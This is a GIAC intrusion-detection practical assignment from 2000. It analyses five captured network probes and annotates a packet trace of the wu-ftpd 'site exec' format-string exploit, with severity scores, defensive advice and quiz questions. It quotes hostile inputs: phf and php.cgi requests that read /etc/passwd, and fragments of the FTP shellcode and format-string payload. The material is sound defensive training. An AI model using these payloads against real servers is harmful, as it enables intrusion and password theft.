Global Information Assurance Certification Paper

Donald Tomczak
GIAC Intrusion Detection Curriculum
Practical Assignment for SANS Security DC 2000
July 5 – 10, 2000
Version 2.2.2

Assignment 1 – Network Detects

Detect 1

[**] MISC-DNS-version-query [**]
08/01-22:19:58.648953 209.81.16.2:61340 -> dns1.net:53
UDP TTL:48 TOS:0x0 ID:41062
Len: 38
E8 BC 01 00 00 01 00 00 00 00 00 00 07 76 65 72 ....ver
73 69 6F 6E 04 62 69 6E 64 00 00 10 00 03 sion.bind.....

[**] MISC-DNS-version-query [**]
08/02-00:16:40.523098 209.81.16.2:62592 -> dns2.net:53
UDP TTL:48 TOS:0x0 ID:61527
Len: 38
63 2E 01 00 00 01 00 00 00 00 00 00 07 76 65 72 c.............ver
73 69 6F 6E 04 62 69 6E 64 00 00 10 00 03 sion.bind.....

1) Source of trace:
   My Network
2) Detect was generated by:
   Snort intrusion detection system.
3) Probability the source address was spoofed:
   It is unlikely the source address was spoofed. The source address is doing information gathering and will need the responses back.
4) Description of attack:
   There are many versions of BIND that have buffer overflow vulnerabilities that may allow Denial of Service, Cache poisoning or even execution of commands. (CVE-1999-0009, CVE-1999-0010, CVE-1999-0833, etc) The first step in an attack is determining the version of BIND a DNS server is running to determine what vulnerability may exist on that server.
5) Attack mechanism:
   A dns request with domain name =”version.bind”, a querytype =”TXT” and a class = “chaos” to a DNS server will cause it to respond with the version of BIND running on it. With this information, one can determine if it is running a vulnerable version of BIND.
6) Correlations:
   Only detected these two sessions originating from the 209.81.16.2 source address. Both destination addresses are true DNS servers within my organization. The source ip address 209.81.16.2 resolves to “gateway.resonate.com”, a company

that monitors e-business infrastructure and takes automated real-time action to ensure high availability. It is possible they are using a load balancing dns server (like 3DNS) to determine its closest web server to service my network. Since only 2 occurrences were detected, and lack of additional probes from this source address makes me believe these occurrences are nonhostile.

7) Evidence of active targeting:
   The two systems targeted within my network are true DNS servers. The probes were sent to just these two systems and no other.
8) Severity:
   Severity = (Critical + Lethal) – (System + Net Countermeasures)
   Critical = 5 (DNS Server)
   Lethal=1 (Not an attack, just a probe so far)
   System = 5 (Modern operating system, latest patches)
   Network Countermeasures = 2 (the firewall allows DNS request/responses)
   Severity = (5 + 1) – (5 + 2) = -1
9) Defensive recommendation:
   Run the latest version of BIND. Configure BIND not to return the version level for a DNS version request.
10) Multiple Choice test questions.
    A DNS Version request will return –
    a) a DNS error
    b) the server's FQDN
    c) the version of BIND
    d) crash the server

    answer c

Detect 2

Tue May 30 05:09:10 2000 24.16.250.15-3769=>XXX.XXX.XXX.XXX-80
Ver(4) HL(5) ToS(00) IPLen(97) IPId(0xfd04) FragmentFlags(DF,LF) IPOffset(0)
IPTTL(0x31)Protocol(6) CheckSum(0xaa3f)
SrcAddr(24.16.250.15) DstAddr(my.net) SrcPort(3769) DstPort(80)
SeqNum(0xf5cb8b21) AckNum(0xf691a50f) TCPOffset(5) TCPFlags(PA)
Win(32120) ChkSum(0x5782) UrgPtr(0)
Data=GET /cgi-bin/php.cgi?/etc/passwd HTTP/1.0....

1) Source of trace
   My network
2) Detect was generated by:
   Locally written IDS system
3) Probability the source address was spoofed
   It is unlikely the source address was spoofed. In order to receive the password file the source address cannot be spoofed.
4) Description of attack:
   A php.cgi http request with '/etc/passwd' as the query string.

5) Attack mechanism:
   'php' is an embedded scripting language where the code is executed on the server. There was vulnerability with php.cgi that allowed web users to view any file contents on the machine running httpd by sending the filename as the Query string. This particular request is trying to copy the password file on the web server back the source address.
6) Correlations:
   There are no web links/pages on the server that request the /etc/passwd file. (It was a crafted request). This is an old, well known vulnerability.
7) Evidence of active targeting:
   Since the http request was crafted and the destination system is a web server, the attacker is specifically targeting that system.
8) Severity:
   Severity = (Critical + Lethal) – (System + Net Countermeasures)
   Critical = 3 (Web Server)
   Lethal=5 (Trying to get passwords to gain access to system)
   System = 5 (Modern operating system, latest patches)
   Network Countermeasures = 2 (the firewall allows the request through)
   Severity = (3 + 5) – (5 + 2) = 1
9) Defensive recommendations:
   Shadow the password file, so if attack is successful, /etc/passwd will contain no password information. Run latest level of php to insure vulnerabilities are fixed or disable php if not needed.
10) Multiple choice test question:
    This attack uses the protocol 6. Protocol 6 corresponds to:
        a) ICMP
        b) TCP
        c) UDP
        d) FTP

    Answer b

Detect 3

[**] IDS005 - SCAN-Possible NMAP Fingerprint attempt [**]
07/02-14:21:23.101295 169.237.43.88:62 -> myhost1.net:21
TCP TTL:33 TOS:0x0 ID:3891
**SF*P*U Seq: 0xCEB5C434 Ack: 0x0 Win: 0x400
TCP Options => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL EOL

[**] IDS005 - SCAN-Possible NMAP Fingerprint attempt [**]
07/02-14:21:27.513758 169.237.43.88:62 ->myhost2.net:21
TCP TTL:33 TOS:0x0 ID:14857
**SF*P*U Seq: 0x67D3DFE7 Ack: 0x0 Win: 0x400
TCP Options => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL EOL

[**] IDS005 - SCAN-Possible NMAP Fingerprint attempt [**]
07/02-14:21:32.084420 169.237.43.88:62 ->myhost3.net:21
TCP TTL:33 TOS:0x0 ID:23159
**SF*P*U Seq: 0x44EE8B17 Ack: 0x0 Win: 0x400
TCP Options => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL EOL

1) Source of trace:
   My network
2) Detect was generated by:
   Snort intrusion detection system
3) Probability the source address was spoofed:
   It is unlikely the source address was spoofed. The source address is doing information gathering and will need the responses back.
4) Description of attack:
   Send a TCP packet with the SYNC, FIN, URG, and PUSH flags set (impossible flag combination) with TCP Options to Port 21 (FTP) to determine the Operating System and if ftp server is running on the system.
5) Attack mechanism:
   This is a probe (probably NMAP) to determine the Operating System and whether or not FTP server is running. Operating Systems may be distinguished from one another based on how they respond to probes with impossible TCP flags set and which TCP Options they support.
6) Correlation:
   This particular day we saw this signature scanning several thousand addresses. Recently, a wu-ftp "site exec" vulnerability was posted within the Internet community (CVE-1999-0080), and this particular probe was scanning for ftp. This user is probably looking for vulnerable ftp servers.
7) Evidence of active targeting:
   Since this signature was detecting with the same source address and several thousand destination address, I would say this was a specific scan (ftp) or the entire network.
8) Severity:
   Severity = (Critical + Lethal) – (System + Net Countermeasures)
   Critical = 3 (FTP Server)
   Lethal=1 (Not an attack, just a probe so far)
   System = 3 (Multiple operating system, latest patches)
   Network Countermeasures = 5 (the firewall restrict ftp to specified servers)
   Severity = (3 + 1) – (3 + 5) = -4
9) Defensive recommendation:
   Apply latest patches to all FTP servers or disable the site command.
10) Multiple choice test question:
    A TCP packet with the SYNC and FIN flag bits set means:
    a) close the three way handshake
    b) invalid combination
    c) start the three way handshake
    d) DNS request

Detect 4

Tue Jun 27 10:40:24 2000 216.234.161.71-4848=>155.79.127.190-80
Ver(4) HL(5) ToS(00) IPLen(272) IPId(0x77e3) FragmentFlags(DF,LF) IPOffset(0)
IPTTL(0x33)Protocol(6) CheckSum(0x39c5)
SrcAddr(216.234.161.71) DstAddr(myhost.net) SrcPort(4848) DstPort(80)
SeqNum(0xf9bcbd90) AckNum(0xe550a756) TCPOffset(0x5) TCPFlags(PA)
Win(17520) ChkSum(0x5dec) UrgPtr(0)
Data=GET /cgi-bin/phf?Qalias=X%0a/bin/cat%20/etc/passwd HTTP/1.1..Connection:
keep-alive..Via: 1.1 - (DeleGate/6.1.10)..
User-Agent: Java1.2.2..Host: www.my.net..Accept: text/html, image/gif, image/jpeg, *;
q=.2, */*; q=.2....

1) Source of trace
   My Network
2) Detect was generated by:
   Locally written IDS system
3) Probability the source address was spoofed
   It is unlikely the source address was spoofed. In order to receive the password file the source address cannot be spoofed.
4) Description of attack:
   CGI phf program allows remote command execution through shell metacharacters (CVE-1999-0067)
5) Attack mechanism:
   The phf program is a white pages directory service program distributed with older versions of NCSA httpd and Apache web server. In the vulnerable versions of phf, it passed unchecked the newline (hex 0x0a) characters to the Unix shell. This allowed unauthorized remote command execution through the shell metacharacters. In this case it tries to cat (copy) the /etc/passwd file to the requester.
6) Correlations:
   It a known vulnerability with older versions of phf. (CVE-1999-0067)
7) Evidence of active targeting:
   Since the http request was crafted and the destination system is a web server, the attacker is specifically targeting that system.
8) Severity:
   Severity = (Critical + Lethal) – (System + Net Countermeasures)
   Critical = 3 (Web Server)
   Lethal=5 (Trying to get passwords to gain access to system)
   System = 5 (Modern operating system, latest patches)
   Network Countermeasures = 2 (the firewall allows the request through)
   Severity = (3 + 5) – (5 + 2) = 1
9) Defensive recommendation:

Shadow the password file, so if attack is successful, /etc/passwd will contain no password information. Run latest level of phf to insure vulnerabilities are fixed or disable php if not needed.

10) Multiple Choice test questions:
The http command "/cgi-bin/phf?Qalias=X%0a/bin/cat%20/etc/passwd" is a:
    a) denial of server command
    b) remote hack
    c) ping command
    d) none of the above

Detect 5

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.692945 216.70.80.185:20 -> xxx.xxx.xxx.xxx:900
TCP TTL:27 TOS:0x0 ID:44282
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.783377 216.70.80.185:20 ->xxx.xxx.xxx.xxx:2784
TCP TTL:27 TOS:0x0 ID:55758
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.784444 216.70.80.185:20 ->xxx.xxx.xxx.xxx:2241
TCP TTL:27 TOS:0x0 ID:20623
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.791250 216.70.80.185:20 ->xxx.xxx.xxx.xxx:990
TCP TTL:27 TOS:0x0 ID:27808
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.792319 216.70.80.185:20 ->xxx.xxx.xxx.xxx:379
TCP TTL:27 TOS:0x0 ID:10219
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.793167 216.70.80.185:20 ->xxx.xxx.xxx.xxx:349
TCP TTL:27 TOS:0x0 ID:21825
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.794005 216.70.80.185:20 ->xxx.xxx.xxx.xxx:839
TCP TTL:27 TOS:0x0 ID:30951
******** Seq: 0x0 Ack: 0x0 Win: 0x400

[**] IDS004 - SCAN-NULL Scan [**]
07/27-07:30:12.794849 216.70.80.185:20 ->xxx.xxx.xxx.xxx:10
TCP TTL:27 TOS:0x0 ID:52456
******** Seq: 0x0 Ack: 0x0 Win: 0x400

1. Source of trace:
   My Network
2. Detect was generated by:
   Snort intrusion detection system
3. Probability the source address was spoofed:
   It is unlikely the source address was spoofed. The source address is doing Information gathering and will need the responses back.
4. Description of attack:
   This is a port scan on my system to determine the services running on it. Once the services are determined, the intruder would then try to attack those services.
5. Attack mechanism:
   With a Null Scan (all TCP flags bits set to zero – an impossible flag setting), it is possible to evade older IDS's and packet filtering firewalls. Also note that the source port is 20. Some of the older packet filtering firewall would forward all packets with a source port of 20 in to allow FTP-DATA connections for FTP sessions created by internal users.
   A system response to receiving a packet with the TCP flag bits set to zero is no response if a service is listening on this port (live port discards the packet) or a Reset/Ack packet if no service is listening on this port (dead port). Thus an attacker determines what services are running by the lack of a response to his request.
6. Correlations:
   There was over 6000 entries from the source address to the destination address with the destination port going from 1 to over 4000 and the source port always 20. I would call that a port scan on a host.
7. Evidence of active targeting:
   Again, there was over 6000 entries from the source address to the destination address with the destination port going from 1 to over 4000 and the source port always 20. I would call that a port scan on a particular host.
8. Severity:
   Severity = (Critical + Lethal) – (System + Net Countermeasures)
   Critical = 3 (Web Server)
   Lethal=2 (Just a scan, not targeting any vulnerabilities)
   System = 5 (Modern operating system, latest patches)
   Network Countermeasures = 5 (proxy firewall would never let this type of request through)
   Severity = (3 + 2) – (5 + 5) = -5
9. Defensive recommendation:
   Proxy firewall prevents any information about the destination host to be gathered by this type of scan.

10. Multiple Choice test question:
    A NULL TCP flag packet scan is used to
    a) bypass older IDS
    b) determine services on a host
    c) bypass older packet filtering firewalls
    d) all of the above

Assignment 2 – Evalute an Attack

1) Give the URL, location, or command that you acquired the attack from:
http://packetstorm.security.com/0007-exploits/wuftpd-god.c

2) Describe the attack including how it works:
From the CERT Advisory CA-200-13, it documents the problem with the "site exec" vulnerability using certain versions of the wu-ftpd daemon (Washington University ftpd). The problem is a user can input the character-formatting arguments for printf in several function calls that implement the "site exec" function, making it possible to overwrite data on the stack. Normally the "site exec" is use to allow a client to execute a small subset of commands on the server. The problem occurs when a malicious user sends a specific character format string while executing the "site exec" command, causing a return address to point to malicious code, loaded by the PASS command, giving the user a root shell. The FTP client can now execute Unix commands with root access.

3) Provide an annotated network trace of the attack in action

```
Network Monitor trace  Wed 08/09/00 12:24:03  Capture1.TXT

The start of the three way handshake to open TCP session to FTP server

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x686; Proto = TCP; Len: 60
+ TCP: ....S., len:   20, seq: 352255460, ack:         0, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 3C 06 86 40 00 3E 06 90 6B 0A 01 01 01 XX XX   .<..@.>..k......
00020:  0E 07 04 0B 00 15 14 FE FD E4 00 00 00 00 A0 02   ................
00030:  7D 78 E5 C2 00 00 02 04 05 B4 04 02 08 0A 00 E7   }x..............
00040:  27 17 00 00 00 00 01 03 03 00                     '.........

The second part of the three way handshake

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10B1; Proto = TCP; Len: 60
+ TCP: .A..S., len:   20, seq:3262573786, ack: 352255461, src:   21 (FTP)  dst: 1035

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 00   .. .....K6U...E.
00010:  00 3C 10 B1 40 00 40 06 84 40 XX XX 0E 07 0A 01   .<..@.@..@......
00020:  01 01 00 15 04 0B C2 76 EC DA 14 FE FD E5 A0 12   .......v........
00030:  7D C8 02 79 00 00 02 04 05 78 04 02 08 0A 2B BD   }..y.....x....+.
00040:  08 16 00 E7 27 17 01 03 03 00                     ....'.....

The completion of the three way handshake - connection open to ftp server

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x687; Proto = TCP; Len: 52
+ TCP: .A...., len:   12, seq: 352255461, ack:3262573787, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 87 40 00 3E 06 90 72 0A 01 01 01 XX XX   .4..@.>..r......
00020:  0E 07 04 0B 00 15 14 FE FD E5 C2 76 EC DB 80 10   ...........v....
00030:  7D 78 31 4B 00 00 01 01 08 0A 00 E7 27 1E 2B BD   }x1K........'.+.
```

```
00040:  08 16                                             ..

FTP Server sending the logon message to the client

+ FRAME: Base frame properties
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10B2; Proto = TCP; Len: 91
+ TCP: .AP..., len:   51, seq:3262573787, ack: 352255461, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '220-You are logging in from 10.1.1.1.'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 00   .. .....K6U...E.
00010:  00 5B 10 B2 40 00 40 06 84 20 XX XX 0E 07 0A 01   .[..@.@.. ......
00020:  01 01 00 15 04 0B C2 76 EC DB 14 FE FD E5 80 18   .......v........
00030:  7D C8 37 A8 00 00 01 01 08 0A 2B BD 08 1D 00 E7   }.7.......+.....
00040:  27 1E 32 32 30 2D 59 6F 75 20 61 72 65 20 6C 6F   '.220-You are lo
00050:  67 67 69 6E 67 20 69 6E 20 66 72 6F 6D 20 31 30   gging in from 10

More banner message from the ftp Server to the client

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10B3; Proto = TCP; Len: 790
+ TCP: .AP..., len:  750, seq:3262573826, ack: 352255461, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '220-**********************************************'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 00   .. .....K6U...E.
00010:  03 16 10 B3 40 00 40 06 81 64 XX XX 0E 07 0A 01   ....@.@..d......
00020:  01 01 00 15 04 0B C2 76 ED 02 14 FE FD E5 80 18   .......v........
00030:  7D C8 C9 56 00 00 01 01 08 0A 2B BD 08 1D 00 E7   }..V......+.....
00040:  27 1E 32 32 30 2D 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A   '.220-**********
00050:  2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A   **********

Client ACKed that it received part of the logon banner

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x68A; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq: 352255461, ack:3262573826, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 8A 40 00 3E 06 90 6F 0A 01 01 01 XX XX   .4..@.>..o......
00020:  0E 07 04 0B 00 15 14 FE FD E5 C2 76 ED 02 80 10   ...........v....
00030:  7D 78 31 16 00 00 01 01 08 0A 00 E7 27 25 2B BD   }x1.........'%+.
00040:  08 1D                                             ..

FTP Server sending more banner message to client

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10B9; Proto = TCP; Len: 1440
+ TCP: .AP..., len: 1400, seq:3262574564, ack: 352255461, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '220-* STORE, OR TRANSMIT INFORMATION CLASSIFIED AB'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  05 A0 10 B9 40 00 40 06 7E C4 XX XX 0E 07 0A 01   ....@.@.~.......
00020:  01 01 00 15 04 0B C2 76 EF E4 14 FE FD E5 80 18   .......v........
00030:  7D C8 50 8A 00 00 01 01 08 0A 2B BD 08 23 00 E7   }.P.......+..#..
00040:  27 25 32 32 30 2D 2A 20 53 54 4F 52 45 2C 20 4F   '%220-* STORE, O
00050:  52 20 54 52 41 4E 53 4D 49 54 20 49 4E 46 4F 52   R TRANSMIT INFOR

Client send username ‘ftp’ to ftp server

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x68C; Proto = TCP; Len: 62
+ TCP: .AP..., len:   22, seq: 352255461, ack:3262573826, src: 1035  dst:   21 (FTP)
+ FTP: Req. from Port 1035, 'USER ftp'

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 3E 06 8C 40 00 3E 06 90 63 0A 01 01 01 XX XX   .>..@.>..c......
00020:  0E 07 04 0B 00 15 14 FE FD E5 C2 76 ED 02 80 18   ...........v....
00030:  7D 78 F4 7D 00 00 01 01 08 0A 00 E7 27 25 2B BD   }x.}........'%+.
00040:  08 1D 55 53 45 52 20 66 74 70 0D 0A               ..USER ftp..

FTP Server ACK receiving username packet.

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10BA; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq:3262575952, ack: 352255471, src:   21 (FTP)  dst: 1035

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 34 10 BA 40 00 40 06 84 2F XX XX 0E 07 0A 01   .4..@.@../......
00020:  01 01 00 15 04 0B C2 76 F5 50 14 FE FD EF 80 10   .......v.P......
00030:  7D C8 28 66 00 00 01 01 08 0A 2B BD 08 25 00 E7   }.(f......+..%..
00040:  27 25                                             '%
```

Client ACK receiving another banner message packet

```
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x68F; Proto = TCP; Len: 52
+ TCP: .A...., len:   12, seq: 352255471, ack:3262574564, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 8F 40 00 3E 06 90 6A 0A 01 01 01 XX XX   .4..@.>..j......
00020:  0E 07 04 0B 00 15 14 FE FD EF C2 76 EF E4 80 10   ...........v....
00030:  7D 78 2E 26 00 00 01 01 08 0A 00 E7 27 29 2B BD   }x.&........')+.
00040:  08 1D                                             ..
```

Client send password packet with malicious shellcode following PASS

```
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x691; Proto = TCP; Len: 558
+ TCP: .AP..., len:  518, seq: 352255471, ack:3262575952, src: 1035  dst:   21 (FTP)
+ FTP: Req. from Port 1035, 'PASS                                                '

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  02 2E 06 91 40 00 3E 06 8E 6E 0A 01 01 01 XX XX   ....@.>..n......
00020:  0E 07 04 0B 00 15 14 FE FD EF C2 76 F5 50 80 18   ...........v.P..
00030:  7C B4 F0 07 00 00 01 01 08 0A 00 E7 27 2F 2B BD   |...........'/+.
00040:  08 25 50 41 53 53 20 90 90 90 90 90 90 90 90 90   .%PASS .........
00050:  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
```

FTP Server sending more banner information

```
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10BC; Proto = TCP; Len: 222
+ TCP: .AP..., len:  182, seq:3262575952, ack: 352255977, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '   *'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 DE 10 BC 40 00 40 06 83 83 XX XX 0E 07 0A 01   ....@.@.........
00020:  01 01 00 15 04 0B C2 76 F5 50 14 FE FF E9 80 18   .......v.P......
00030:  7C B4 08 53 00 00 01 01 08 0A 2B BD 08 34 00 E7   |..S......+..4..
00040:  27 2F 20 20 20 2A 0D 0A 32 32 30 2D 2A 20 43 4F   '/   *..220-* CO
00050:  4E 53 54 49 54 55 54 45 53 20 43 4F 4E 53 45 4E   NSTITUTES CONSEN
```

Client ACK receiving more banner information packets

```
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x692; Proto = TCP; Len: 52
+ TCP: .A...., len:   12, seq: 352255977, ack:3262576122,  src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 92 40 00 3E 06 90 67 0A 01 01 01 XX XX   .4..@.>..g......
00020:  0E 07 04 0B 00 15 14 FE FF E9 C2 76 F5 FA 80 10   ...........v....
00030:  7C B4 26 AE 00 00 01 01 08 0A 00 E7 27 3E 2B BD   |.&.........'>+.
00040:  08 34                                             .4
```

FTP Server send more banner information

```
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10C0; Proto = TCP; Len: 134
+ TCP: .AP...,  len:   94, seq:3262576122, ack: 352255977, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '220 drt14-7 FTP server (Version wu-2.6.0(1) Mon Fe'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 86 10 C0 40 00 40 06 83 D7 XX XX 0E 07 0A 01   ....@.@.........
00020:  01 01 00 15 04 0B C2 76 F5 FA 14 FE FF E9 80 18   .......v........
00030:  7C B4 81 10 00 00 01 01 08 0A 2B BD 09 4E 00 E7   |.........+..N..
00040:  27 3E 32 32 30 20 64 72 74 31 34 2D 37 20 46 54   '>220 drt14-7 FT
00050:  50 20 73 65 72 76 65 72 20 28 56 65 72 73 69 6F   P server (Versio
```

FTP Server finally processed USER packet and sends response for password

```
+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10C1; Proto = TCP; Len: 751
+ TCP: .AP..., len:  711, seq:3262576204, ack: 352255977, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '331 Guest login ok, send your complete e-mail addr'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  02 EF 10 C1 40 00 40 06 81 6D XX XX 0E 07 0A 01   ....@.@..m......
00020:  01 01 00 15 04 0B C2 76 F6 4C 14 FE FF E9 80 18   .......v.L......
00030:  7C B4 39 5C 00 00 01 01 08 0A 2B BD 09 4F 00 E7   |.9\......+..O..
00040:  27 3E 33 33 31 20 47 75 65 73 74 20 6C 6F 67 69   '>331 Guest logi
00050:  6E 20 6F 6B 2C 20 73 65 6E 64 20 79 6F 75 72 20   n ok, send your
```

```
Client ACK receiving last banner information packet

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x693; Proto = TCP; Len: 52
+ TCP: .A...., len:   12, seq: 352255977, ack:3262576204, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 93 40 00 3E 06 90 66 0A 01 01 01 XX XX   .4..@.>..f......
00020:  0E 07 04 0B 00 15 14 FE FF E9 C2 76 F6 4C 80 10   ...........v.L..
00030:  7C B4 24 28 00 00 01 01 08 0A 00 E7 28 58 2B BD   |.$(........(X+.
00040:  09 4E                                             .N

Client ACK receiving USER response packet for password

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x694; Proto = TCP; Len: 52
+ TCP: .A...., len:   12, seq: 352255977, ack:3262576903, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 94 40 00 3E 06 90 65 0A 01 01 01 XX XX   .4..@.>..e......
00020:  0E 07 04 0B 00 15 14 FE FF E9 C2 76 F9 07 80 10   ...........v....
00030:  7C B4 21 69 00 00 01 01 08 0A 00 E7 28 5B 2B BD   |.!i........([+.
00040:  09 4F                                             .O

FTP Server sending PASSWORD response packet

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10C2; Proto = TCP; Len: 100
+ TCP: .AP..., len:   60, seq:3262576903, ack: 352255977, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '230 Guest login ok, access restrictions apply.'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 64 10 C2 40 00 40 06 83 F7 XX XX 0E 07 0A 01   .d..@.@.........
00020:  01 01 00 15 04 0B C2 76 F9 07 14 FE FF E9 80 18   .......v........
00030:  7C B4 75 41 00 00 01 01 08 0A 2B BD 09 58 00 E7   |.uA......+..X..
00040:  28 5B 32 33 30 20 47 75 65 73 74 20 6C 6F 67 69   ([230 Guest logi
00050:  6E 20 6F 6B 2C 20 61 63 63 65 73 73 20 72 65 73   n ok, access res

Client ACK receiving PASSWORD response packet

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x696; Proto = TCP; Len: 52
+ TCP: .A...., len:   12, seq: 352255977, ack:3262576951, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 96 40 00 3E 06 90 63 0A 01 01 01 XX XX   .4..@.>..c......
00020:  0E 07 04 0B 00 15 14 FE FF E9 C2 76 F9 37 80 10   ...........v.7..
00030:  7C B4 21 29 00 00 01 01 08 0A 00 E7 28 62 2B BD   |.!).........(b+.
00040:  09 58                                             .X

Client sending check to validate the return address (just a test)

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x698; Proto = TCP; Len: 488
+ TCP: .AP..., len:  448, seq: 352255977, ack:3262576951, src: 1035  dst:   21 (FTP)
+ FTP: Req. from Port 1035, 'site exec xx(°ÿÿ¿%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f'

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  01 E8 06 98 40 00 3E 06 8E AD 0A 01 01 01 XX XX   ....@.>.........
00020:  0E 07 04 0B 00 15 14 FE FF E9 C2 76 F9 37 80 18   ...........v.7..
00030:  7C B4 E2 4C 00 00 01 01 08 0A 00 E7 29 2A 2B BD   |..L........)*+.
00040:  09 58 73 69 74 65 20 65 78 65 63 20 78 78 28 B0   .Xsite exec xx(.
00050:  FF FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25   ...%.f%.f%.f%.f%

FTP Server response to site exec xx command

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10C5; Proto = TCP; Len: 497
+ TCP: .AP..., len:  457, seq:3262576951, ack: 352256413, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '200-xx(°ÿ¿-2-2000-2000000000000000000000000000000000'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  01 F1 10 C5 40 00 40 06 82 67 XX XX 0E 07 0A 01   ....@.@..g......
